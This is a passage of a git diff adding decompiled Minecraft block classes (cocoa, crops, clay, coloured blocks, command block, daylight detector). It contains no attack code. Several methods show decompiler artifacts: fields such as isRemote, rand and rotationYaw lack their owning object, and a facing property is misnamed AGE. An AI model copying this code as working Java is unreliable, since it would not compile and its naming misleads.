+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { FACING_PROP });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockClay.java b/src/minecraft/net/minecraft/block/BlockClay.java
new file mode 100644
index 0000000..5ccd524
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockClay.java
@@ -0,0 +1,37 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+
+public class BlockClay extends Block
+{
+  private static final String __OBFID = "CL_00000215";
+  
+  public BlockClay()
+  {
+    super(Material.clay);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.clay_ball;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 4;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCocoa.java b/src/minecraft/net/minecraft/block/BlockCocoa.java
new file mode 100644
index 0000000..53acac1
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCocoa.java
@@ -0,0 +1,257 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockCocoa extends BlockDirectional implements IGrowable
+{
+  public static final PropertyInteger field_176501_a = PropertyInteger.create("age", 0, 2);
+  private static final String __OBFID = "CL_00000216";
+  
+  public BlockCocoa()
+  {
+    super(net.minecraft.block.material.Material.plants);
+    setDefaultState(blockState.getBaseState().withProperty(AGE, EnumFacing.NORTH).withProperty(field_176501_a, Integer.valueOf(0)));
+    setTickRandomly(true);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!canBlockStay(worldIn, pos, state))
+    {
+      dropBlock(worldIn, pos, state);
+    }
+    else if (rand.nextInt(5) == 0)
+    {
+      int var5 = ((Integer)state.getValue(field_176501_a)).intValue();
+      
+      if (var5 < 2)
+      {
+        worldIn.setBlockState(pos, state.withProperty(field_176501_a, Integer.valueOf(var5 + 1)), 2);
+      }
+    }
+  }
+  
+  public boolean canBlockStay(World worldIn, BlockPos p_176499_2_, IBlockState p_176499_3_)
+  {
+    p_176499_2_ = p_176499_2_.offset((EnumFacing)p_176499_3_.getValue(AGE));
+    IBlockState var4 = worldIn.getBlockState(p_176499_2_);
+    return (var4.getBlock() == Blocks.log) && (var4.getValue(BlockPlanks.VARIANT_PROP) == BlockPlanks.EnumType.JUNGLE);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getCollisionBoundingBox(worldIn, pos, state);
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getSelectedBoundingBox(worldIn, pos);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    IBlockState var3 = access.getBlockState(pos);
+    EnumFacing var4 = (EnumFacing)var3.getValue(AGE);
+    int var5 = ((Integer)var3.getValue(field_176501_a)).intValue();
+    int var6 = 4 + var5 * 2;
+    int var7 = 5 + var5 * 2;
+    float var8 = var6 / 2.0F;
+    
+    switch (SwitchEnumFacing.FACINGARRAY[var4.ordinal()])
+    {
+    case 1: 
+      setBlockBounds((8.0F - var8) / 16.0F, (12.0F - var7) / 16.0F, (15.0F - var6) / 16.0F, (8.0F + var8) / 16.0F, 0.75F, 0.9375F);
+      break;
+    
+    case 2: 
+      setBlockBounds((8.0F - var8) / 16.0F, (12.0F - var7) / 16.0F, 0.0625F, (8.0F + var8) / 16.0F, 0.75F, (1.0F + var6) / 16.0F);
+      break;
+    
+    case 3: 
+      setBlockBounds(0.0625F, (12.0F - var7) / 16.0F, (8.0F - var8) / 16.0F, (1.0F + var6) / 16.0F, 0.75F, (8.0F + var8) / 16.0F);
+      break;
+    
+    case 4: 
+      setBlockBounds((15.0F - var6) / 16.0F, (12.0F - var7) / 16.0F, (8.0F - var8) / 16.0F, 0.9375F, 0.75F, (8.0F + var8) / 16.0F);
+    }
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    EnumFacing var6 = EnumFacing.fromAngle(rotationYaw);
+    worldIn.setBlockState(pos, state.withProperty(AGE, var6), 2);
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    if (!facing.getAxis().isHorizontal())
+    {
+      facing = EnumFacing.NORTH;
+    }
+    
+    return getDefaultState().withProperty(AGE, facing.getOpposite()).withProperty(field_176501_a, Integer.valueOf(0));
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!canBlockStay(worldIn, pos, state))
+    {
+      dropBlock(worldIn, pos, state);
+    }
+  }
+  
+  private void dropBlock(World worldIn, BlockPos p_176500_2_, IBlockState p_176500_3_)
+  {
+    worldIn.setBlockState(p_176500_2_, Blocks.air.getDefaultState(), 3);
+    dropBlockAsItem(worldIn, p_176500_2_, p_176500_3_, 0);
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    int var6 = ((Integer)state.getValue(field_176501_a)).intValue();
+    byte var7 = 1;
+    
+    if (var6 >= 2)
+    {
+      var7 = 3;
+    }
+    
+    for (int var8 = 0; var8 < var7; var8++)
+    {
+      spawnAsEntity(worldIn, pos, new ItemStack(Items.dye, 1, EnumDyeColor.BROWN.getDyeColorDamage()));
+    }
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.dye;
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    return EnumDyeColor.BROWN.getDyeColorDamage();
+  }
+  
+  public boolean isStillGrowing(World worldIn, BlockPos p_176473_2_, IBlockState p_176473_3_, boolean p_176473_4_)
+  {
+    return ((Integer)p_176473_3_.getValue(field_176501_a)).intValue() < 2;
+  }
+  
+  public boolean canUseBonemeal(World worldIn, Random p_180670_2_, BlockPos p_180670_3_, IBlockState p_180670_4_)
+  {
+    return true;
+  }
+  
+  public void grow(World worldIn, Random p_176474_2_, BlockPos p_176474_3_, IBlockState p_176474_4_)
+  {
+    worldIn.setBlockState(p_176474_3_, p_176474_4_.withProperty(field_176501_a, Integer.valueOf(((Integer)p_176474_4_.getValue(field_176501_a)).intValue() + 1)), 2);
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(AGE, EnumFacing.getHorizontal(meta)).withProperty(field_176501_a, Integer.valueOf((meta & 0xF) >> 2));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(AGE)).getHorizontalIndex();
+    var3 |= ((Integer)state.getValue(field_176501_a)).intValue() << 2;
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { AGE, field_176501_a });
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] FACINGARRAY = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002130";
+    
+    static
+    {
+      try
+      {
+        FACINGARRAY[EnumFacing.SOUTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        FACINGARRAY[EnumFacing.NORTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        FACINGARRAY[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        FACINGARRAY[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockColored.java b/src/minecraft/net/minecraft/block/BlockColored.java
new file mode 100644
index 0000000..bc6d0f4
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockColored.java
@@ -0,0 +1,78 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+public class BlockColored extends Block
+{
+  public static final PropertyEnum COLOR = PropertyEnum.create("color", EnumDyeColor.class);
+  private static final String __OBFID = "CL_00000217";
+  
+  public BlockColored(Material p_i45398_1_)
+  {
+    super(p_i45398_1_);
+    setDefaultState(blockState.getBaseState().withProperty(COLOR, EnumDyeColor.WHITE));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(COLOR)).func_176765_a();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumDyeColor[] var4 = EnumDyeColor.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumDyeColor var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176765_a()));
+    }
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(COLOR)).func_176768_e();
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(COLOR, EnumDyeColor.func_176764_b(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(COLOR)).func_176765_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { COLOR });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCommandBlock.java b/src/minecraft/net/minecraft/block/BlockCommandBlock.java
new file mode 100644
index 0000000..f62de9e
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCommandBlock.java
@@ -0,0 +1,161 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.server.CommandBlockLogic;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityCommandBlock;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+
+public class BlockCommandBlock extends BlockContainer
+{
+  public static final PropertyBool TRIGGERED_PROP = PropertyBool.create("triggered");
+  private static final String __OBFID = "CL_00000219";
+  
+  public BlockCommandBlock()
+  {
+    super(net.minecraft.block.material.Material.iron);
+    setDefaultState(blockState.getBaseState().withProperty(TRIGGERED_PROP, Boolean.valueOf(false)));
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityCommandBlock();
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!isRemote)
+    {
+      boolean var5 = worldIn.isBlockPowered(pos);
+      boolean var6 = ((Boolean)state.getValue(TRIGGERED_PROP)).booleanValue();
+      
+      if ((var5) && (!var6))
+      {
+        worldIn.setBlockState(pos, state.withProperty(TRIGGERED_PROP, Boolean.valueOf(true)), 4);
+        worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+      }
+      else if ((!var5) && (var6))
+      {
+        worldIn.setBlockState(pos, state.withProperty(TRIGGERED_PROP, Boolean.valueOf(false)), 4);
+      }
+    }
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    TileEntity var5 = worldIn.getTileEntity(pos);
+    
+    if ((var5 instanceof TileEntityCommandBlock))
+    {
+      ((TileEntityCommandBlock)var5).getCommandBlockLogic().trigger(worldIn);
+      worldIn.updateComparatorOutputLevel(pos, this);
+    }
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return 1;
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    TileEntity var9 = worldIn.getTileEntity(pos);
+    return (var9 instanceof TileEntityCommandBlock) ? ((TileEntityCommandBlock)var9).getCommandBlockLogic().func_175574_a(playerIn) : false;
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    TileEntity var3 = worldIn.getTileEntity(pos);
+    return (var3 instanceof TileEntityCommandBlock) ? ((TileEntityCommandBlock)var3).getCommandBlockLogic().getSuccessCount() : 0;
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    TileEntity var6 = worldIn.getTileEntity(pos);
+    
+    if ((var6 instanceof TileEntityCommandBlock))
+    {
+      CommandBlockLogic var7 = ((TileEntityCommandBlock)var6).getCommandBlockLogic();
+      
+      if (stack.hasDisplayName())
+      {
+        var7.func_145754_b(stack.getDisplayName());
+      }
+      
+      if (!isRemote)
+      {
+        var7.func_175573_a(worldIn.getGameRules().getGameRuleBooleanValue("sendCommandFeedback"));
+      }
+    }
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(TRIGGERED_PROP, Boolean.valueOf((meta & 0x1) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    int var2 = 0;
+    
+    if (((Boolean)state.getValue(TRIGGERED_PROP)).booleanValue())
+    {
+      var2 |= 0x1;
+    }
+    
+    return var2;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { TRIGGERED_PROP });
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(TRIGGERED_PROP, Boolean.valueOf(false));
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCompressed.java b/src/minecraft/net/minecraft/block/BlockCompressed.java
new file mode 100644
index 0000000..54249c3
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCompressed.java
@@ -0,0 +1,27 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+
+public class BlockCompressed extends Block
+{
+  private final MapColor mapColor;
+  private static final String __OBFID = "CL_00000268";
+  
+  public BlockCompressed(MapColor p_i45414_1_)
+  {
+    super(Material.iron);
+    mapColor = p_i45414_1_;
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return mapColor;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCompressedPowered.java b/src/minecraft/net/minecraft/block/BlockCompressedPowered.java
new file mode 100644
index 0000000..3281d25
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCompressedPowered.java
@@ -0,0 +1,32 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+
+public class BlockCompressedPowered extends BlockCompressed
+{
+  private static final String __OBFID = "CL_00000287";
+  
+  public BlockCompressedPowered(MapColor p_i45416_1_)
+  {
+    super(p_i45416_1_);
+    setCreativeTab(CreativeTabs.tabRedstone);
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return true;
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return 15;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockContainer.java b/src/minecraft/net/minecraft/block/BlockContainer.java
new file mode 100644
index 0000000..950ff22
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockContainer.java
@@ -0,0 +1,42 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public abstract class BlockContainer extends Block implements ITileEntityProvider
+{
+  private static final String __OBFID = "CL_00000193";
+  
+  protected BlockContainer(Material materialIn)
+  {
+    super(materialIn);
+    isBlockContainer = true;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return -1;
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.breakBlock(worldIn, pos, state);
+    worldIn.removeTileEntity(pos);
+  }
+  
+
+
+
+  public boolean onBlockEventReceived(World worldIn, BlockPos pos, IBlockState state, int eventID, int eventParam)
+  {
+    super.onBlockEventReceived(worldIn, pos, state, eventID, eventParam);
+    TileEntity var6 = worldIn.getTileEntity(pos);
+    return var6 == null ? false : var6.receiveClientEvent(eventID, eventParam);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockCrops.java b/src/minecraft/net/minecraft/block/BlockCrops.java
new file mode 100644
index 0000000..1ff7a25
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockCrops.java
@@ -0,0 +1,223 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class BlockCrops
+  extends BlockBush implements IGrowable
+{
+  public static final PropertyInteger AGE = PropertyInteger.create("age", 0, 7);
+  private static final String __OBFID = "CL_00000222";
+  
+  protected BlockCrops()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(AGE, Integer.valueOf(0)));
+    setTickRandomly(true);
+    float var1 = 0.5F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, 0.25F, 0.5F + var1);
+    setCreativeTab(null);
+    setHardness(0.0F);
+    setStepSound(soundTypeGrass);
+    disableStats();
+  }
+  
+
+
+
+  protected boolean canPlaceBlockOn(Block ground)
+  {
+    return ground == Blocks.farmland;
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    super.updateTick(worldIn, pos, state, rand);
+    
+    if (worldIn.getLightFromNeighbors(pos.offsetUp()) >= 9)
+    {
+      int var5 = ((Integer)state.getValue(AGE)).intValue();
+      
+      if (var5 < 7)
+      {
+        float var6 = getGrowthChance(this, worldIn, pos);
+        
+        if (rand.nextInt((int)(25.0F / var6) + 1) == 0)
+        {
+          worldIn.setBlockState(pos, state.withProperty(AGE, Integer.valueOf(var5 + 1)), 2);
+        }
+      }
+    }
+  }
+  
+  public void growCrops(World worldIn, BlockPos p_176487_2_, IBlockState p_176487_3_)
+  {
+    int var4 = ((Integer)p_176487_3_.getValue(AGE)).intValue() + MathHelper.getRandomIntegerInRange(rand, 2, 5);
+    
+    if (var4 > 7)
+    {
+      var4 = 7;
+    }
+    
+    worldIn.setBlockState(p_176487_2_, p_176487_3_.withProperty(AGE, Integer.valueOf(var4)), 2);
+  }
+  
+  protected static float getGrowthChance(Block p_180672_0_, World worldIn, BlockPos p_180672_2_)
+  {
+    float var3 = 1.0F;
+    BlockPos var4 = p_180672_2_.offsetDown();
+    
+    for (int var5 = -1; var5 <= 1; var5++)
+    {
+      for (int var6 = -1; var6 <= 1; var6++)
+      {
+        float var7 = 0.0F;
+        IBlockState var8 = worldIn.getBlockState(var4.add(var5, 0, var6));
+        
+        if (var8.getBlock() == Blocks.farmland)
+        {
+          var7 = 1.0F;
+          
+          if (((Integer)var8.getValue(BlockFarmland.field_176531_a)).intValue() > 0)
+          {
+            var7 = 3.0F;
+          }
+        }
+        
+        if ((var5 != 0) || (var6 != 0))
+        {
+          var7 /= 4.0F;
+        }
+        
+        var3 += var7;
+      }
+    }
+    
+    BlockPos var12 = p_180672_2_.offsetNorth();
+    BlockPos var13 = p_180672_2_.offsetSouth();
+    BlockPos var14 = p_180672_2_.offsetWest();
+    BlockPos var15 = p_180672_2_.offsetEast();
+    boolean var9 = (p_180672_0_ == worldIn.getBlockState(var14).getBlock()) || (p_180672_0_ == worldIn.getBlockState(var15).getBlock());
+    boolean var10 = (p_180672_0_ == worldIn.getBlockState(var12).getBlock()) || (p_180672_0_ == worldIn.getBlockState(var13).getBlock());
+    
+    if ((var9) && (var10))
+    {
+      var3 /= 2.0F;
+    }
+    else
+    {
+      boolean var11 = (p_180672_0_ == worldIn.getBlockState(var14.offsetNorth()).getBlock()) || (p_180672_0_ == worldIn.getBlockState(var15.offsetNorth()).getBlock()) || (p_180672_0_ == worldIn.getBlockState(var15.offsetSouth()).getBlock()) || (p_180672_0_ == worldIn.getBlockState(var14.offsetSouth()).getBlock());
+      
+      if (var11)
+      {
+        var3 /= 2.0F;
+      }
+    }
+    
+    return var3;
+  }
+  
+  public boolean canBlockStay(World worldIn, BlockPos p_180671_2_, IBlockState p_180671_3_)
+  {
+    return ((worldIn.getLight(p_180671_2_) >= 8) || (worldIn.isAgainstSky(p_180671_2_))) && (canPlaceBlockOn(worldIn.getBlockState(p_180671_2_.offsetDown()).getBlock()));
+  }
+  
+  protected Item getSeed()
+  {
+    return Items.wheat_seeds;
+  }
+  
+  protected Item getCrop()
+  {
+    return Items.wheat;
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    super.dropBlockAsItemWithChance(worldIn, pos, state, chance, 0);
+    
+    if (!isRemote)
+    {
+      int var6 = ((Integer)state.getValue(AGE)).intValue();
+      
+      if (var6 >= 7)
+      {
+        int var7 = 3 + fortune;
+        
+        for (int var8 = 0; var8 < var7; var8++)
+        {
+          if (rand.nextInt(15) <= var6)
+          {
+            spawnAsEntity(worldIn, pos, new ItemStack(getSeed(), 1, 0));
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return ((Integer)state.getValue(AGE)).intValue() == 7 ? getCrop() : getSeed();
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return getSeed();
+  }
+  
+  public boolean isStillGrowing(World worldIn, BlockPos p_176473_2_, IBlockState p_176473_3_, boolean p_176473_4_)
+  {
+    return ((Integer)p_176473_3_.getValue(AGE)).intValue() < 7;
+  }
+  
+  public boolean canUseBonemeal(World worldIn, Random p_180670_2_, BlockPos p_180670_3_, IBlockState p_180670_4_)
+  {
+    return true;
+  }
+  
+  public void grow(World worldIn, Random p_176474_2_, BlockPos p_176474_3_, IBlockState p_176474_4_)
+  {
+    growCrops(worldIn, p_176474_3_, p_176474_4_);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(AGE, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(AGE)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { AGE });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDaylightDetector.java b/src/minecraft/net/minecraft/block/BlockDaylightDetector.java
new file mode 100644
index 0000000..9d5f81a
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDaylightDetector.java
@@ -0,0 +1,185 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityDaylightDetector;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+
+public class BlockDaylightDetector extends BlockContainer
+{
+  public static final PropertyInteger field_176436_a = PropertyInteger.create("power", 0, 15);
+  private final boolean field_176435_b;
+  private static final String __OBFID = "CL_00000223";
+  
+  public BlockDaylightDetector(boolean p_i45729_1_)
+  {
+    super(Material.wood);
+    field_176435_b = p_i45729_1_;
+    setDefaultState(blockState.getBaseState().withProperty(field_176436_a, Integer.valueOf(0)));
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.375F, 1.0F);
+    setCreativeTab(CreativeTabs.tabRedstone);
+    setHardness(0.2F);
+    setStepSound(soundTypeWood);
+    setUnlocalizedName("daylightDetector");
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.375F, 1.0F);
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return ((Integer)state.getValue(field_176436_a)).intValue();
+  }
+  
+  public void func_180677_d(World worldIn, BlockPos p_180677_2_)
+  {
+    if (!provider.getHasNoSky())
+    {
+      IBlockState var3 = worldIn.getBlockState(p_180677_2_);
+      int var4 = worldIn.getLightFor(net.minecraft.world.EnumSkyBlock.SKY, p_180677_2_) - worldIn.getSkylightSubtracted();
+      float var5 = worldIn.getCelestialAngleRadians(1.0F);
+      float var6 = var5 < 3.1415927F ? 0.0F : 6.2831855F;
+      var5 += (var6 - var5) * 0.2F;
+      var4 = Math.round(var4 * MathHelper.cos(var5));
+      var4 = MathHelper.clamp_int(var4, 0, 15);
+      
+      if (field_176435_b)
+      {
+        var4 = 15 - var4;
+      }
+      
+      if (((Integer)var3.getValue(field_176436_a)).intValue() != var4)
+      {
+        worldIn.setBlockState(p_180677_2_, var3.withProperty(field_176436_a, Integer.valueOf(var4)), 3);
+      }
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (playerIn.func_175142_cm())
+    {
+      if (isRemote)
+      {
+        return true;
+      }
+      
+
+      if (field_176435_b)
+      {
+        worldIn.setBlockState(pos, Blocks.daylight_detector.getDefaultState().withProperty(field_176436_a, state.getValue(field_176436_a)), 4);
+        Blocks.daylight_detector.func_180677_d(worldIn, pos);
+      }
+      else
+      {
+        worldIn.setBlockState(pos, Blocks.daylight_detector_inverted.getDefaultState().withProperty(field_176436_a, state.getValue(field_176436_a)), 4);
+        Blocks.daylight_detector_inverted.func_180677_d(worldIn, pos);
+      }
+      
+      return true;
+    }
+    
+
+
+    return super.onBlockActivated(worldIn, pos, state, playerIn, side, hitX, hitY, hitZ);
+  }
+  
+
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(Blocks.daylight_detector);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(Blocks.daylight_detector);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return true;
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
